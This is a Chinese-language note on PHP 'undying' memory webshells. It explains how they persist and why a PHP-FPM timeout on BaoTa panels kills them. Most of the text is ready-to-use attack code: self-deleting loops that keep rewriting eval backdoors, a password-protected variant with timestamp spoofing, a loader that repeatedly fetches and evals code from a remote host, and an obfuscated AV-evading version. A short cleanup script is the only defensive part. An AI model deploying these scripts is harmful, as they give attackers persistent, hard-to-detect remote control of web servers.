php内存马

认识内存马

内存马

#安全 #Hacker #笔记

什么是内存马

内存马的本质是通过隐藏自身,避免文件落盘,让后门代码在内存中驻留,并且可以通过特定的方式访问,触发执行。

攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

webshell内存马如何进行攻击?

  • 方法一:通过访问存在漏洞的url,加上命令执行参数,即可让服务器返回结果
  • 方法二:通过webshell管理工具(eg:蚁剑,冰蝎,哥斯拉),进行远程连接后攻击目标

PHP 内存马常见形式为即 PHP 不死马,脚本运行后删除自身文件,利用死循环驻留在内存里,不断主动外连或等待连接,从而获取指令并且执行。

不死马的生命周期

问题由来:在大靶机时通过一句话木马使用 webshell 管理工具上传了不死马,上传成功后删除不死马,刚开始删不掉,过了一会儿再去删发现能被删掉了。

后在网上搜索(宝塔面板 php不死马),查到一篇文章:

PHP不死马为何几分钟就死掉了? - 先知社区

在这篇文章中说明了出现不死马失效的原因是宝塔默认配置了 request_terminate_timeout = 100 (100秒)

PHP FPM 官方文档

request_terminate_timeout

单个服务请求请求的超时时间,超过此时间后工作进程将被终止。当'max_execution_time' ini 选项由于某些原因无法停止脚本执行时,应使用此选项。
'0'表示关闭。单位:秒(默认)、分钟、小时或天。默认值:0。

request_terminate_timeout 是 PHP-FPM(PHP FastCGI Process Manager)的一个配置项,用于设置 PHP 请求终止的超时时间。当 PHP 脚本的执行时间超过了这个设定的时间限制,PHP-FPM 将会终止该请求的执行。官网文档中说它的默认值为0 。

宝塔的 php 版本中 request_terminate_timeout 均为100秒,所有只要是宝塔面板部署的 php 环境,在没修改 request_terminate_timeout 值未更大值或关闭该配置时是没法实现不死马的。

可在宝塔的配置文件中查看 /www/server/php/80/etc/www/server/php/70/etc/www/server/php/56/etc 等目录下看到 php-fpm.conf 配置文件。

案例

一个基础的内存马

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
    $content = "<?php @eval($_POST["cmd"]) ?>";
    file_put_contents(".bk.php", $content);
    usleep(5000);
}
?>

带认证的不死马马

防止内存马被别人复用,可以通过携带 MD5 值的马来使用。

<?php
ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.shell.php';
    $code = '<?php if(md5($_GET["ispass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmdkey"]);}?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2021-01-01 00:00:01" .shell.php');
        usleep(5000);
    }
?>

将内容写入 ma.php 文件中,访问 http://exp.com/ma.php 即可触发,然后用URL http://exp.com/.shell.php?ispass=123456,和 cmdkey 作为连接密码使用 webshell 管理工具连接。

远程加载shellcoude

<?php
    chmod($_SERVER['SCRIPT_FILENAME'], 0777);  // 更改文件的权限
    // 删除当前 PHP 脚本文件
    unlink($_SERVER['SCRIPT_FILENAME']);
    // 设置用户中止连接不会停止脚本执行
    ignore_user_abort(true);
    // 设置 PHP 脚本的执行时间限制为0,即无限制执行
    set_time_limit(0);

    // 远程恶意脚本
    $remote_file = 'http://phpeval.com/eval.txt';

    // 远程加载脚本执行,每5s执行一次
    while($code = file_get_contents($remote_file)){
        @eval($code);
        sleep(5);
    };
?>

eval.txt 如下

file_put_contents('test.txt','webshell test'.time());

time() 是一个内置函数,它返回当前时间的 Unix 时间戳。如果当前 Unix 时间戳是 1701513600,那么写入文件的内容将是类似于 'webshell test1701513600'。每次运行这个代码时,文件中的内容可能会不同,因为时间戳在不断更新。

免杀不死马

<?php
static $time =10000 ;     
static $yourcode = 'PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4=';  # <?php eval($_POST['c']);?>
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
    fwrite($myfile,$author);
    return Fread($myfile,"111"); 
}
class FileRead{
    function __construct($read,$num){
        $a = 1;
        if ($num != Null)
             $a = strlen($num);
        print Fread($read,$a);
    }
    function test(){
        echo "<br>"."ok\n";
    }
	function eb($yijufa){  
        $b = "_46esab";
		$e = "edocne";
		$eb = srv($e.$b);
        return $eb($yijufa);
    }
    function db($jiekai){  
        $c = "_46esab";
		$a = "edoced";
		$db = srv($a.$c);
        return $db($jiekai);
    }
    function zhixing($hiddden){  
        $ss = "ss";
        $tt = "tt";
        $yy = "yy";
        $ee = "em";
        $db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
        return $db($hiddden);
    }	
}

function srv($str){    
    $new_str = "";
	for ($i = strlen($str)-1;$i >= 0; $i--){
        $new_str .= $str{$i};
    }
    return $new_str;
}

ignore_user_abort(true);
set_time_limit($time);  

while(1)
{
	$clear = fopen("log.php", "r"); 
	fgets($clear);
	echo $tmp = "\n".fgets($clear);  

    $myfile = fopen("log.php ", "a+"); 
    $a = $myfile;
	$b = new FileRead($a,"asdasdasdasdasdasd");

    $t = date('Y-M-D H:i:s',time()); 
	$tt = $b->eb($t);  
	unlink(__FILE__);

	$code = $yourcode; 

	if(md5($tmp)===md5($b->db($code)))     
	{
	    
		echo md5($tmp)."\n";
		echo md5($b->db($code));	
	}
    else
	    EasyTo($a,$b->db($tt.$code));  
    echo $b->zhixing(srv("birtta")." +s +h log.php");
	fclose($clear);
	fclose($myfile);
    usleep(5000);
}
?>

清理不死马

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.shell.php';
    $code = 'kill backdoor';

    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2021-01-01 00:00:01" .shell.php');
        usleep(1000);
    }
?>

参考

关于PHP不死马和Python内存马的分析与总结
分享一个Php免杀和一个隐蔽内存马
PHP内存马之不死马
不死马的原理和利用
小记一个PHP不死马